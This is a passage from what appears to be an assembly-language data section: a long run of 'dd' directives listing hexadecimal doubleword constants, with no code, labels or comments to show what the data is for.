65AB97A7h, 95C079D7h, 28BD6BDEh, 1436D0FCh, 5281A8DEh dd 0B5EBAED6h, 6FBDE1C7h, 0DE0F40CEh, 0DBBF5577h, 4B53E196h dd 4BBCEDAAh, 58E93368h, 18CEB107h, 23A48182h, 5BB1E42Eh dd 0AD27CEDAh, 0B432B06Eh, 6E6890BCh, 91849911h, 0F8E9D626h dd 492C674Ah, 0D25A49FBh, 0F47868D8h, 0BCD97A20h, 34B6DCA8h dd 0E92170FAh, 915B4268h, 6487DB6Eh, 95E28304h, 3C7AC1B1h dd 92B1D0D4h, 3176098Bh, 0D4D1354Eh, 0E484BB6Eh, 0D29F6448h dd 920FEEE3h, 814392Ah, 40112D76h, 4CD99298h, 7A0D580Fh dd 6003E1BAh, 8119EDC1h, 951D7DABh, 0D400E3E3h, 0E0691DCDh dd 0D8030B7Fh, 0B99FCBE7h, 82E67899h, 2C70D273h, 0CAF07A09h dd 0F55E59B1h, 98EFA87h, 55B1DA2Ah, 0AACA3C17h, 0AA2B5EB8h dd 0C1774DFFh, 8C1ED123h, 7786248Dh, 0F78AE7A8h, 578919F6h dd 0DE7F5CE0h, 0D5D0EB2Ch, 0C98AE31Ch, 0CF5F3642h, 970D634Dh dd 2BECD249h, 5F8ABEA2h, 32B0B6Ch, 50B300DCh, 6F00C1BDh dd 0EA7A6B86h, 3F6FF672h, 92DD0C36h, 0D882C1DCh, 19577123h dd 0D4EBD860h, 0DB36D62Bh, 58EA4FD4h, 829642E4h, 21812369h dd 0D848381h, 0CD36155h, 0A971AC8Ch, 0F7F8F9B7h, 0AA8C81DDh dd 0FA2A9BD0h, 0C295615Dh, 50282205h, 2FDD5B9Eh, 0F2AD0C0Dh dd 4C9591Fh, 54823343h, 0B8449074h, 8AA7A068h, 88CA9CDAh dd 56D32C6Ah, 0FE6C59D0h, 1A776D04h, 2D89CF05h, 0F877888Ah dd 2B9E313Ah, 0D9F71380h, 49662DD6h, 58D20720h, 96954E9Ah dd 0F67ABFB8h, 5DE2FEAFh, 0E2F1F919h, 71E12EBBh, 0B07483Eh dd 7756605Dh, 9875C231h, 658B5ED1h, 848924ABh, 0A655E5F6h dd 0FB34BB8Eh, 0D2D540F6h, 259CDD5Ah, 77077AE0h, 89A51C2Eh dd 0E5424A4Ch, 3570FDABh, 740DF7D6h, 7656FFC4h, 0C0CC0B9Ch dd 735F00DCh, 8A4DBDA7h, 0FCF04489h, 66DB974Eh, 0FC58FF42h dd 0A46D5F86h, 9100E8EFh, 0E8677AA1h, 76C4A4FCh, 73C529CFh dd 685FD929h, 5AA99CB0h, 66C3DD49h, 0B6B1491Ah, 18608850h dd 893F49AEh, 0AD9E1B3Bh, 82CEDE8Fh, 3EB3A2A8h, 2849580Eh dd 90AD395Bh, 7DC65067h, 0E4579D0Eh, 764DC4D7h, 94205E6h dd 0EF288D9Bh, 1CEE2F06h, 0AAA590EAh, 24DB023Dh, 0C3BFD25Ch dd 0DF79913h, 0A4D885Bh, 9B0F7159h, 7D6FCB79h, 0DBAB31F2h dd 7881E969h, 2D751E27h, 52309430h, 82870278h, 60E4F2B2h dd 0BDDFBBB6h, 89453A1Fh, 16EC1D9Eh, 0A8878C53h, 3280E28Ch dd 0FC4A255h, 2BF305C9h, 5483E53Dh, 0BEAF881Bh, 0EA8BB2CFh dd 8FB7F37Dh, 716CA36Eh, 596A0C16h, 0AFA9041Dh, 9B428C58h dd 0FDE69FDh, 0F9DB0C8Eh, 41EE1029h, 123F8C6Ch, 0F9395B6Ch dd 7EAF9438h, 416F77A6h, 1A2142D4h, 51A7626Bh, 0E170189Fh dd 303B947Ah, 22FFE590h, 0F0A4B176h, 3E7FBFCAh, 0F558C71Ah dd 34D2FB9Dh, 3DB9961Ah, 0C7DD81C9h, 2D5F6130h, 0FA40F8DFh dd 0A82C1F5Ch, 2AAB2C60h, 69DA5001h, 0E1AEF317h, 0AA922E16h dd 459900DFh, 7C1538E4h, 56FD8E18h, 0FD73ABCFh, 7DAAA741h dd 57686D99h, 55FCF413h, 0F95E5708h, 76DA2273h, 0CD13C85h dd 22886068h, 88E5A4B3h, 377FFC0Eh, 889B86D5h, 0F078972Dh dd 61CF44B7h, 0EB5B9FBFh, 9F4F265Dh, 0FB2FCE4Fh, 38560478h dd 0ADF73A6Dh, 81F74541h, 0AC6D8661h, 0E5C5E517h, 4E8F2CE9h dd 0A5E8BBA0h, 0AAF38256h, 28D17F75h, 86A52EBh, 0C27617FFh dd 1F337926h, 681A0A4Ch, 0C1545B94h, 0F52F1CB5h, 9F583EDBh dd 5A0E7B78h, 9F989877h, 0A9BA84E0h, 0DB167C1h, 0ECC9DE66h dd 9E9FCAA7h, 0FDE4A51Dh, 21AEA0D3h, 0E63CB1E4h, 336D77EDh dd 453A3525h, 0C3AD780Dh, 58BE6D42h, 0E76BA6E1h, 8FE96FD1h dd 0BD93EEB2h, 0CA706E44h, 0D4A8E62Dh, 0C105BA6Dh, 4B17ACDFh dd 29C1A136h, 6BD34753h, 2DC86851h, 0E8D2EE72h, 0F29E73Ah dd 0A18D874Ah, 0BF807E35h, 6C354997h, 0C2388787h, 1E1ED49h dd 5E825712h, 11EA48B9h, 0FF33B712h, 0FD7C5993h, 7B991DEEh dd 0D9C22ED0h, 88EB75ECh, 98717C0Ah, 2350DE98h, 0F7785F09h dd 9E39275Ch, 0EEB72AADh, 0E06A4D51h, 828D9562h, 0A35B2BE5h dd 0C023FC15h, 0A3251F93h, 679DE48Ch, 53CE0100h, 82091A82h dd 37DF69DBh, 84AE6FA2h, 0FE1B8F97h, 0CFCA936Eh, 0F6D028B4h dd 0E81F955Ah, 5A1C11FCh, 0AE8463EFh, 0DE473E34h, 5F45D32Ah dd 54368228h, 4B9854h, 653CD3EEh, 69B88B58h, 1ED4075Dh dd 0C4F524E6h, 0AC11147Eh, 0B1C507F6h, 7C1750D6h, 1483956Ch dd 8191988Ch, 0FED6C7Dh, 0BFE419DFh, 1CCBAF55h, 693AAC0h dd 0DDF248F9h, 1C4A79ECh, 38EEF007h, 0A5226DFCh, 0ABB739BEh dd 63340088h, 1A82168Fh, 0ECE8EDFh, 928A93BBh, 30690991h dd 0B6652BF2h, 581FCA9Bh, 4664A115h, 7F195513h, 0CE8A7340h dd 2ACFFC0Ah, 40A92F3Fh, 2F1490Fh, 0C43B21D5h, 4696C432h dd 0AE56E8E0h, 14FC94BEh, 0E754C3CBh, 0F1F02729h, 577FA2D1h dd 0EA9F9E63h, 5451CEB1h, 178F5608h, 0DBEE3CEEh, 0CBCA051Eh dd 0F2E184Ah, 986D75A4h, 8B813F85h, 7E5DCA22h, 896FA98Eh dd 0A3FDC366h, 8ED6C98Fh, 22D98CADh, 0AB2506BFh, 9CAF5A10h dd 0D7CFF9Eh, 73D46453h, 0F1AA2BCFh, 54A8C3B1h, 84A3E05h dd 5DCC634Bh, 3DF7D355h, 60A7735Bh, 0FE46FFD7h, 88518EA0h dd 0E0A8932Bh, 81695236h, 5A1A6D54h, 0A6495A29h, 670B27C8h dd 0B5D57F6Fh, 8F082F5Fh, 6B0AB772h, 800D0155h, 45686C9Fh dd 13B4CBFAh, 0D1F26742h, 26F5F12Bh, 4CBAB9ABh, 1CA84C2Dh dd 34E9ACC6h, 9FD447DCh, 0A7D0D7CBh, 0EAC6BD0h, 0D216EB76h dd 70CBA63Ch, 3AE60749h, 1331A335h, 6F68C363h, 1B9846F0h dd 4606720Dh, 28E73671h, 0C235EA9Bh, 2D18AE75h, 0A2359536h dd 0F1BF46F3h, 9662553Ch, 0D07D178h, 0FB716426h, 8E6B2952h dd 9C16A112h, 0F7203A25h, 73434884h, 0E0B2B0A2h, 4423DA3Dh dd 0FD2477F9h, 0EAB8B3A8h, 0BC6DE168h, 3AA9C905h, 863D3A49h dd 4691B640h, 0C818676Ch, 8D696124h, 0E0BE6C36h, 0ACD3A32Eh dd 2CF6B551h, 9983456Ah, 68D74CBAh, 1AD82FA7h, 6FDE3A4Dh dd 0E226760Bh, 0D52D7837h, 2EDA3413h, 0E47B4AEAh, 7E697FBBh dd 0DCBBB38Ah, 347F874Fh dd 112FA3B6h, 74AFB11Ch, 0B2B12641h, 8BC9E912h, 0E18D7776h dd 185528FDh, 3BB4A010h, 0F3BFE51Eh, 552D4A8Ah, 9C87C8CBh dd 2C0CDE17h, 57C23FEFh, 69652359h, 0A657906h, 82D45591h dd 7516E0Bh, 1842F57h, 0B78C0E82h, 0F857BB91h, 0D61A739Fh dd 37533E3Ah, 77AD45B3h, 0B1E66B34h, 87E226D4h, 40BED8A3h dd 13AC9FE8h, 0B4345C3Eh, 0F53B4714h, 2526C15Eh, 99143F05h dd 537D66h, 0D1A26EC1h, 8AE8DC7Eh, 0F5A43617h, 5E80293Fh dd 56F12BD5h, 1B3A6605h, 0DEB7AD12h, 0A564874Ch, 5165F7F9h dd 40A1C8F4h, 0D496EC8Dh, 8F80AD3Dh, 58C4CC06h, 0C14332A4h dd 0A504DB25h, 0E0A5885Ch, 4160A5B5h, 2905ACE9h, 9DBC9A3Eh dd 1CB03C26h, 435898DEh, 6B7E99CDh, 577FB9AEh, 6D3A30B6h dd 972BD27Ah, 4D2F462Eh, 49B11E65h, 41E409A0h, 86B95FEBh dd 0AE0D1700h, 32CDA8B4h, 7FAF306Fh, 915CA025h, 2717C1D3h dd 565B7D58h, 9034FD05h, 0F6FE67A5h, 8BB4F5BFh, 6DAF1F8Fh dd 27A2A7C6h, 927A1535h, 3E5B8E9Dh, 26516E52h, 290AAEB0h dd 2BE35B2Dh, 0FE580D8Bh, 0F41712D7h, 2D00569Dh, 647AC88Ah dd 0BBA7289Ch, 0C2DE1210h, 113A56C8h, 8007B40Eh, 2AF9C2EBh dd 0C2D08C22h, 0FF0EBB1Fh, 0EE9064FAh, 0B680EFAAh, 7057A8B7h dd 0CF1232AFh, 578B1A1Fh, 0D233665Fh, 0AC43879Bh, 70CC5604h dd 0F9339EDCh, 2B7D945Ah, 0CDD574B5h, 0A6461E08h, 8D748382h dd 0CA319A13h, 0A01465CBh, 909CF451h, 86A84CC8h, 15CFED8Ch dd 1717E99Fh, 7E193DF4h, 3C2D8C13h, 1D48F2E0h, 0DA7DB2ADh dd 752A26B1h, 0EF6E065Dh, 84582FF0h, 96FBF76Fh, 8C26CFEDh dd 1EFC698Fh, 2598EE5h, 0D25BE8B9h, 69034A9Ah, 0D0B45E83h dd 975FCF4Ch, 94A9BE1Ah, 7B11DB41h, 246B6DE0h, 7574C362h dd 6CDD424Eh, 0F91F862Fh, 0FFF00BBBh, 0D3BBA1B3h, 9B725284h dd 0D94A407h, 3242FEAEh, 3293A092h, 9C379334h, 0BDAB5C44h dd 0C58706C4h, 8950ECE8h, 0DCEF9C19h, 0B449837Dh, 50F3855Bh dd 16B57E25h, 73A96D61h, 0F2E8523Ch, 0DC40D64Dh, 55F04B0Eh dd 0CF47481h, 1AD0F922h, 79ED1BAAh, 0F2B6E6DBh, 19F3F327h dd 20CC6F53h, 0C1BFDD4Fh, 1BF48F06h, 5BE49DABh, 61BF9B8Eh dd 0B145EF38h, 0CBA34F9Dh, 0BF52D31Bh, 2A4F4E66h, 0E2D9F699h dd 50DEDC29h, 99607D5Fh, 772A6208h, 5A82773Eh, 123631Ch dd 0F37D361Ch, 926762F9h, 0C8DB65CEh, 0DF7FBC17h, 538CE231h dd 0D18C5C1h, 0A900747Ch, 9A32EBCBh, 0BDAE1C3Eh, 242D6F99h dd 46621445h, 0F4ACBB73h, 0FAFF8D86h, 3F51821Eh, 0A7E2C87h dd 4D5D2172h, 712D6130h, 14DFD75Fh, 4692F4ADh, 0D155B92Dh dd 0E721FA36h, 0BF5F9E9Ah, 7ED6DC65h, 89258D62h, 0B8ECB4F5h dd 0B369DAEAh, 8A07211Bh, 2D224ADBh, 0F1E2A68Bh, 919EB7CBh dd 0C3D44C78h, 0C26BAAA2h, 0AD125F53h, 70C1367Eh, 266C612Bh dd 0FB6F8073h, 493AEEC1h, 2DDF4099h, 0B1BDD546h, 29680C5h dd 0BEE81CC5h, 0B1ADB519h, 7750C282h, 0CC013322h, 0C8FA94A1h dd 9F6B45FDh, 666C86Eh, 0E797E406h, 540649B9h, 46AEDCFBh dd 1D5FECBh, 553A2C4Ch, 0FAF7398h, 0A0CD0EE2h, 6E459F85h dd 72D3F6BFh, 7C723D24h, 8F2B0244h, 0FD6C8D12h, 6DB98983h dd 9BA1C40Fh, 63CD7D96h, 57DDCA0h, 0BDFC5072h, 0EA4EE8Bh dd 6517248Ah, 26B78A0Bh, 178A32B6h, 0D279AEABh, 3FCF8296h dd 0BD921D10h, 477C1CB1h, 0B1B19A42h, 0F72E3EE2h, 5B26F2D8h dd 6B467502h, 3F989422h, 0E803C3E7h, 0BAA4C280h, 1D2F5134h dd 630A7D75h, 0C8EDE106h, 0CBC898C3h, 0CAAAD90Ah, 2E77EFCAh dd 0EB9E371Fh, 8A2C4B0Fh, 355BFB82h, 0A9A386F5h, 1FED2A12h dd 195CF774h, 0EE376261h, 63406095h, 96AFB82Bh, 0C2DE0047h dd 90878B1h, 3646B374h, 4DFA93C5h, 0B26E77C1h, 453D6520h dd 0BBEDC46Eh, 9E53B097h, 0EB6F56E5h, 30DF8D3Dh, 8D7E2963h dd 2B1E7CDAh, 311B2E75h, 49A75DCCh, 9C337020h, 0F6C8054Bh dd 5C443BDFh, 83340601h, 410CA4Ch, 0CEF24E23h, 3D4AE0CBh dd 43683D68h, 5B868E4Fh, 7E837B80h, 0DFA32958h, 0B24B932Ah dd 7120A6BAh, 0C5DB62B2h, 0BA6D52D5h, 4219D2C2h, 0B6DAAE96h dd 24BCA2CEh, 150453D5h, 32C424D7h, 5CDF7B7Ah, 0A2121BA3h dd 6F619C20h, 171D5BAAh, 0E953F107h, 32ABEA84h, 65D96C88h dd 9AD63B0Ah, 59040B5Eh, 63C61B2Bh, 0EF0D53F9h, 0BCD3A86Ah dd 0C49C8769h, 0A7F1ACCEh, 42EAEFB0h, 38B4077Ah, 252EB1FAh dd 38CEC1C0h, 0B886CD07h, 0DA7B26BEh, 92AEB13h, 108677F0h dd 0A9FD1F1h, 0DA1CD872h, 0AB997BE1h, 0B15BC71Ah, 0B1EDC12Ah dd 89EAFAh, 0D3887121h, 0AD6445B5h, 61CB3D2h, 5400B451h dd 0A108DE77h, 7C7F1834h, 1323D298h, 9B873DAFh, 507D9EB0h dd 622B3E1h, 0E058D17Eh, 0A17BC6ECh, 4E3B055Bh, 225DB56Eh dd 6E92B003h, 1686FF4Fh, 6E33628Ch, 78EE0A38h, 71397F5Ah dd 931B3920h, 0D3CA1FC4h, 69589C36h, 0A5C6F391h, 1E384C1Eh dd 88BD7007h, 3E5B4E4Bh, 2D28719h, 8FAF39A3h, 0CD80E55Ch dd 703A336Ah, 0C22983A7h, 1C993855h, 0A47D2D11h, 522E6F4Ah dd 1789D538h, 0F104E959h, 0AD3DFB54h, 0CC87C2AEh, 41782701h dd 0BE1B4CAh, 0F7968E83h, 66D00098h, 0E09E4114h, 0E70D1EC6h dd 68B963A7h, 0B6E587AEh, 200CF6D8h, 8128A4E0h, 0E6F78757h dd 918C7A1Dh, 0C129B0BCh, 395A6DB7h, 0AA671028h, 0E07D4FF9h dd 9109E56Eh, 1ADE4DF3h, 771B2DCAh, 0C6BD4CE6h, 54DC0C96h dd 890CA9A5h, 0DED954CAh, 9E9C3F23h, 1783C449h, 0C5EED5E1h dd 895A4BC4h, 8124A74h, 1FEC1A65h, 4D6FB10Eh, 0DE7DD3ACh dd 0E2388247h, 0BE2E2771h, 68BCC3F5h, 0EAC040DDh, 0CFE62020h dd 0B57E0820h, 710045A3h, 57973025h, 0FC6BAD5Ch, 5D18E067h dd 291247E9h, 22001AFCh, 9840C8CEh, 814E4h, 0B1DCD1E1h dd 896049A6h, 425B28F4h, 0DAE1D1FEh, 4B01AACCh, 25A22B73h dd 0FD9ED46Eh, 2EBF4175h, 0F93D82C5h, 9C0268FBh, 0FAE13637h dd 0E0B9B7FEh, 59595405h, 48813E0Ch, 4B03E984h, 45BC3C0Ah dd 399D84B5h, 2889C964h, 16640FC7h, 0F110085Eh, 2E0F1020h dd 49EECB70h, 0EF5D79DBh, 8640D538h, 6D3FA94Dh, 1EB47716h dd 0B7BA3135h, 0FD7CAD5h, 0B1DFA1FCh, 0A61B97EDh, 3B5B7E20h dd 0AA4CFCFCh, 4AB0EDECh, 1A08CBCEh, 23595300h, 360343D3h dd 13A77C64h, 0B9F80DF6h, 0F84491D6h, 781B91C2h, 42FC8BC2h dd 9EDC6AA1h, 45FA9B01h, 0A727C6C3h, 648EA5D1h, 5926529Ch dd 0A44AC252h, 0E22988Ah, 28C72953h, 0D8318B84h, 58B5660Bh dd 57D0037Bh, 0F9DF7902h, 3BFF94A1h, 1920BD0Fh, 5A738FCAh dd 81334AD7h, 0A2413587h, 0F1E926D2h, 0AA9FEA8h, 0F17C2EC6h dd 8221FA44h, 0C65D1D78h, 3E1598C4h, 2C5342E9h, 0C612DAF5h dd 569E1425h, 0AE207AEDh, 9EE87BD5h, 4411C539h, 0DECACA5h dd 690BFB97h, 8027B05Ah, 0D67B7167h, 85F59925h, 92B6E035h dd 5D07989Eh, 2BE8C345h, 8AFB6057h, 9D20C842h, 0AD789184h dd 498B0B07h, 0B13B204Dh, 3A1C1764h, 0FEFAB61Eh, 0CE33E5CBh dd 95A4381Ch, 0D55A77AAh, 0E9832324h, 33EEB5C8h, 0BB5D84A7h dd 490C77A7h, 61BAB604h, 864A7354h, 0CAE3D44Fh, 6180C220h dd 0B1C31FD9h, 6130194Dh, 160ABEB0h, 82DAEB6Bh, 261AD68Ch dd 9687EE49h, 6A51C863h, 8D0CFB41h, 393817E4h, 6070D7F1h dd 4EF05DB2h, 63180234h dd 0C44059D9h, 0D3243520h, 432DAACCh, 1B6FC289h, 5CECB47Ah dd 0C5397098h, 0E4749D86h, 0B69315D7h, 0D726E7EAh, 650A0B42h dd 0FD44B88Ch, 28B71B7Ch, 873F8A45h, 0EF8F1446h, 24D20527h dd 498173A2h, 0E9CCE881h, 6F37AE94h, 4ED0C3F1h, 5036842Bh dd 0E7BDB6CFh, 0D2C36D74h, 0C59B3D41h, 45451621h, 71240376h dd 0A6BA329Ch, 9F9FC57Eh, 9708455Bh, 42980159h, 0BC1B4FAFh dd 0FABDE07Ch, 0D0C176FDh, 6628C766h, 6002AB21h, 0EC2BC5FFh dd 55F0FD96h, 0B1C9BA41h, 0BF5F4884h, 0BE74A087h, 0FD284DC2h dd 13ECE6BCh, 0F97E965Eh, 7CE16E59h, 956B8F87h, 0A72F5B75h dd 2FE183F0h, 4C9F19EBh, 0D0C67FBAh, 88C85F17h, 0B5780850h dd 0A47861CBh, 0F3AD55CCh, 0AAD09C1Eh, 3D0F2596h, 0FDF9F08Dh dd 0B31DDB33h, 20FAE882h, 19C96ED2h, 1B4F2126h, 9D981FFBh dd 0FCB26E0Eh, 0A807756Ah, 0B7F22913h, 0F5328039h, 0C56E4753h dd 0FE3948D2h, 4C63510h, 7CB5B28Fh, 70A339E3h, 0F5D09A8Ch dd 8F7B608h, 4D7B4D21h, 0D31F5DD9h, 6DB29C54h, 1D59E5ACh dd 0BEE7D96Bh, 0D2139C63h, 7CEB91E6h, 0E5D38384h, 0BC5E9749h dd 0F26DB077h, 9B9993DCh, 0F27537A1h, 96199775h, 75FA2ECCh dd 90B7657Eh, 6CAC89C8h, 0D99583B1h, 805DFDC7h, 0C12E674Ah dd 0A44A740Eh, 4BDD0850h, 0AFCA7A9h, 9F3BFAC6h, 0E33B8282h dd 70463A4Bh, 4CEAF3D9h, 86079F03h, 67682919h, 67FA9295h dd 6E340B09h, 599338BFh, 59EA2F14h, 7B223D03h, 991BADAAh dd 2DC1AED1h, 0E4AD8E25h, 0A90228A7h, 8BFE3A0h, 4469CBEEh dd 7F38B8BCh, 922DCD1h, 72A7F686h, 308E3B9Bh, 0E905CA4Bh dd 87D18ACBh, 0FC6304B3h, 7E6544B2h, 42E94A2Ah, 0DA45CEF0h dd 726C03E0h, 0CA931561h, 0C849B749h, 0A71334DCh, 0CAE1F62Ch dd 47276C25h, 90B0A41Fh, 588EA7BAh, 84EC2CBEh, 4627C3C1h dd 0BB7BB3F2h, 2D72CAE0h, 66F76A02h, 13DACD2Ah, 0C26EF410h dd 3FC5B217h, 8D4310BCh, 0F101D72Ch, 9329434Bh, 5D6543ACh dd 485BC36Ah, 7CC49F02h, 30FF6FEEh, 5618ACDEh, 42BA2756h dd 66FDE87Eh, 0F4102AD4h, 0D05F72A8h, 7D1AB424h, 0AC93713h dd 0D9A6D7B6h, 0BDAD90CDh, 85569B7h, 90EEDD26h, 1E472275h dd 0B3C2C503h, 1D81AFCh, 6693EEB9h, 0CEEB802Bh, 3C134C4Dh dd 37F5D6CDh, 65C3C1E1h, 0C475FFFCh, 22C8925Fh, 0E8AB508Dh dd 8A6F1796h, 40C9C6CDh, 9E9C1980h, 158BDBBh, 353D37C6h dd 597CFFF2h, 0B61FB6F7h, 0C745F6D7h, 6115DA9Fh, 4AF845BCh dd 7E4C27C7h, 10A4E871h, 0D959282Ch, 0D3C13096h, 1A4F7B75h dd 0F5C62EDEh, 67762F29h, 0D630A46Fh, 1E653E06h, 3429045Eh dd 0BC2F06BAh, 2B00C652h, 0C2D210F9h, 43D219E0h, 0C3FEE772h dd 10705E7h, 4ECA60D7h, 0BF1F69FAh, 0F977CD8Bh, 0E14CB4F6h dd 24D8A72Dh, 0A4161CB0h, 6255B879h, 35119FA5h, 147BF946h dd 0F5FF68C3h, 0FAFF059Ch, 0E906BE6Ch, 233C5D72h, 0E52872F0h dd 507468Bh, 0A5B8D40Ah, 0D9B31052h, 2E15B1D5h, 500F8854h dd 46E40E4Fh, 16E9708Fh, 0DA326543h, 0A03F9C87h, 30B0A6A6h dd 6CE19C9Eh, 8DDD718Ah, 87ABD822h, 50032A4Ch, 0DE5A011Bh dd 89DB6799h, 0A5B37A3Ah, 0B46BA671h, 8411D86Dh, 0A5EE2109h dd 98F6BD48h, 0C2D2D995h, 0BDCB0F17h, 46971778h, 265F2DC7h dd 0C8B18823h, 90DBF01Eh, 448EFEBEh, 40ED7D7Ah, 7F47FAFBh dd 0D87BF6A8h, 0E13CA588h, 90F494E5h, 1A504AD4h, 0F3AC82C0h dd 0BF0A1A74h, 909B77D7h, 0BC1A774Ah, 49CCF5DCh, 8D6CCFFFh dd 0B79BE0BFh, 0B90B18AAh, 8F9C8F9Ah, 0ED2690C9h, 3F0FC684h dd 25D00867h, 0F0DC5F6Fh, 10957D32h, 6995DA3h, 0EC9651AAh dd 22D6AD8Bh, 863E894Ah, 4EE4D690h, 0AEA0036Ah, 36C93289h dd 71ACD26Dh, 0C61FD237h, 2CBE2457h, 69756DA3h, 85599FC2h dd 31AAAA23h, 31D9BD73h, 83225DF9h, 20BD5615h, 0D1530716h dd 821398D1h, 53701CD2h, 12050AE8h, 9276060h, 70FFE40Ch dd 0C780483Bh, 4827355Dh, 33AFE249h, 0F9635975h, 27F7BB01h dd 286F24DDh, 55D7159Ah, 9FF8D15Bh, 0F1915284h, 43FAD827h dd 4625BE7Dh, 21CAAD5Eh, 0A7AE7DE6h, 9A972FE0h, 501BFDB0h dd 734D3EF9h, 23D2BF3Ah, 0A0C5E80Fh, 0AA81D4B9h, 0A90CECEFh dd 14B821E7h, 16E3CA01h, 3CE41B20h, 8FF0D147h, 9B43AD35h dd 7EEF4A92h, 1C01C8A2h, 0BF30E391h, 69C052Ah, 715D1306h dd 35162EAAh, 12465829h, 0C82B440h, 451EB948h, 0D9E2C412h dd 68555872h, 3A0C9965h, 44DC3FE0h, 335F4E6Dh, 108532ADh dd 0A352FE1Eh, 4272C4B2h, 838A64D7h, 16E61C28h, 961578F8h dd 965E8627h, 806CD7B4h, 2C8E5C9h, 0DF87973h, 17D7432Bh dd 0D74318E0h, 0AA2C5464h, 7181C436h, 39853B17h, 8B0073C3h dd 0D142E68Dh, 7AD9FCA6h, 0F455BE59h, 0C62D5C43h, 0D6BC49A6h dd 0D60D8AC9h, 0ADE1A2DDh, 0BAAA24A2h, 7CDA98Fh, 66338FCAh dd 8B42A00Bh, 0D4E31AAEh, 0C1B457EAh, 1A52E6D5h, 5656629Eh dd 0AE944D10h, 0DC8861D0h, 4193FE0Fh, 914FACC4h, 108AB07Bh dd 1F17818Ah, 0C7B64BABh, 0B002109h, 6848F5D5h, 1665DD13h dd 0CFA55645h, 6DEEB620h, 165DF3ADh, 0E65D19CEh, 82A7D828h dd 6E46928h, 84C77554h, 385010F5h, 2DF910A4h, 0F522C8E2h dd 28E17447h, 15020B82h, 0BD94BC2h, 6AC9CA9h, 69EBE895h dd 2AEE591Dh, 1EA30B7Dh, 1594B112h, 0D0C92A72h, 0D04687Ah dd 0BF75C6F1h, 8324525Ah, 4D923B21h, 8981CB77h, 1F26BC72h dd 4CE9B84Eh, 0F1642AC7h, 0CAA5EF1Fh, 0AA2AB069h, 0C549D3C2h dd 5D2864BDh, 18245016h, 8EECDAB8h, 0FAC16A37h, 0D7CC2416h dd 0FA3469F6h, 0C6D0A08Dh, 300EE1E5h, 0ECD71C1Eh, 6E373D7Ah dd 13E07EACh, 7F8A3C65h, 969A73Dh, 3EA0C89Eh, 0E42B2B02h dd 98E2762h, 0CD719A8Bh, 7E0DDAF8h, 3A2381A2h, 0F0DCFBE1h dd 63D5BEB1h, 5BCB3AF3h, 359EE1E0h, 88379B6Bh, 77E60AD0h dd 0BBAE829Dh, 896F432Eh, 4F1565FBh, 0EC78B3EEh, 376FE4C6h dd 7A0EE2AEh, 672CD149h, 65C59690h, 0CEB80A10h, 22C97BCAh dd 8EE8CA3Bh, 0A0CCF3FBh, 87525409h, 2CB0FDC5h, 0DCF56E62h dd 9600C20Eh, 85DC9403h, 6014FFh, 8AE7B800h, 86C97A5Ah dd 6DA5F213h, 750B0971h, 0F4D4618Dh, 69FEA07Dh, 6EF62168h dd 7CCAE9D9h, 979DE3D6h, 0D2362CE5h, 379DAFB8h, 70F26CA3h dd 0B658A08Eh, 1A1333B9h, 2D1DA30Ch, 4E62C16Dh, 265B96ACh dd 623E7954h, 0AA4C8EA4h, 8332C4A0h, 0B8372BECh, 44C9DB5Ch dd 42667910h, 0A56FF761h, 26891E13h, 0B43DFDC4h, 5C9012EBh dd 7CCFB9E7h, 0FEBA69BFh, 8B7FBBDCh, 7B74E435h, 0C4B33AA1h dd 0DD869BBFh, 0E6B6B1BAh, 5A604799h, 0FECAA21h, 3C25A5D1h dd 0DE895646h, 621E95F9h, 0A18BCAB8h, 0B552288Dh, 189076D5h dd 8AD2EAh, 617EC4FBh, 6654E24Eh, 0B9F78AA2h, 0F6E50AAFh dd 0D46A17EFh, 95DC8C79h, 2706BD28h, 0B3765A20h, 4DBCFBD7h dd 362D0754h, 7A3EEF59h, 0DF2E0B7Eh, 0F6010730h, 0A878361h dd 8C804195h, 9E555B7h, 0E49DD072h, 0B57E7A29h, 0C5655E92h dd 42144AF0h, 9344082Bh, 0F185F2h, 6EFFB009h, 2D28F902h dd 2414F6D4h, 1DFFD732h, 0DF035CFCh, 899AB22Bh, 38D53053h dd 928302D0h, 2842447Dh, 0D1658ACFh, 0ECF3FC69h, 2114AEAEh dd 1CF351D5h, 0A6FB0E7Ch, 92544D27h, 0D06A919Ch, 0B6AF33B7h dd 97CF8DEAh, 55B87C94h dd 0C0CA7514h, 0B96DE887h, 0EE04631h, 0E6466E16h, 77356A27h dd 0F1DC99DDh, 2F07CC03h, 2C27FD28h, 27E245E2h, 0A2865528h dd 786B4D25h, 0A07530BAh, 3EBCBAA2h, 0C15C4261h, 227A3A13h dd 0AFC5ABD3h, 0A7EFB43Ch, 0C350C587h, 3F5537B2h, 0E609E1Ah dd 63A3CF3Ah, 652F0770h, 51CF3879h, 59968EE0h, 0D6E1CB2h dd 2BA7597Fh, 3F07298Fh, 0BF644EBDh, 0CD638C1Ch, 0EA12F2E4h dd 0FF19A505h, 4F413520h, 29E69368h, 97DCAB4Ch, 32E0D928h dd 0AE3DCB2Dh, 0B2AC26CCh, 0AA110BD2h, 7DF50EF1h, 4FB02076h dd 8DF50C18h, 0E9476612h, 0F5285265h, 893C947Bh, 11D51A07h dd 5E2FE37Dh, 5A0632h, 0B2C8DBC5h, 2903B07h, 0ECBEF2C0h dd 1AB5622Fh, 6C2B0FB0h, 31DB96C7h, 3B107C17h, 8361C0D5h dd 7443A5E3h, 409466DBh, 51A93FABh, 2E10CAE5h, 0C7DB14A1h dd 0CDB606E4h, 261D9640h, 4A43B56Dh, 0DE5E320Eh, 2EF7A6F5h dd 48AF2263h, 110D61F6h, 4A59E4B3h, 84FB7AFBh, 0B597F8C4h dd 6EA57822h, 3CC0BFB9h, 0E66BF492h, 40CA5FC0h, 7FE630E4h dd 8494CC53h, 2F68D611h, 3FBDD1D1h, 55453DD5h, 0CE150275h dd 2107C6B2h, 3D3AF815h, 0D02DB980h, 0A38764EBh, 0A1FB94DFh dd 9A3DA151h, 0B4AECDAAh, 47DC4AF9h, 0F22C7DF4h, 2C4B18F3h dd 85728ED0h, 0D3F72038h, 9257BAD4h, 7E3B0CCEh, 0C60E2F28h dd 0E163C065h, 42C6FADCh, 9C95230Ah, 0A85FA7DAh, 0A3105C29h dd 0E70F81C0h, 3B04CC60h, 0B6F73A3Fh, 3525E3CBh, 0FE581CDBh dd 47CB7A20h, 97BE556Eh, 9C35D334h, 3A9302ADh, 42373238h dd 0EEE234C8h, 12C1ADE1h, 1919BC7Ah, 76FE34E8h, 6F1C73D2h dd 4C9F250Ah, 56098D55h, 745FA2Ah, 250DAAF2h, 9BA0BAB4h dd 2D830578h, 5E4F1B24h, 39FC2CEDh, 9DCB7278h, 8978660Bh dd 803BBE69h, 